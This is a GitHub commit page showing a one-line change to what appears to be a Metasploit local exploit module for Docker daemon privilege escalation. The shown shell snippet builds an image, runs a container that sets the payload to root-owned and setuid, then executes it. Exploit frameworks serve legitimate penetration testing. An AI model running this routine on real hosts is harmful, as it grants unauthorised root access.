Skip to content

Commit d414ea5

Browse files
author
forzoni
committed
Remove bash dependency. Oops.
1 parent 5f044ff commit d414ea5

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/linux/local/docker_daemon_privilege_escalation.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ def shell_script(exploit_path)
6565
%Q{
6666
IMG=`echo "FROM scratch\\nCMD a" | docker build -q - | cut -d ":" -f2`
6767
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
68-
docker run #{dep_options} $IMG /bin/bash -c "$EXPLOIT"
68+
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
6969
docker rmi $IMG
7070
#{exploit_path}
7171
}.strip.split("\n").map(&:strip).join(';')

0 commit comments

Comments
 (0)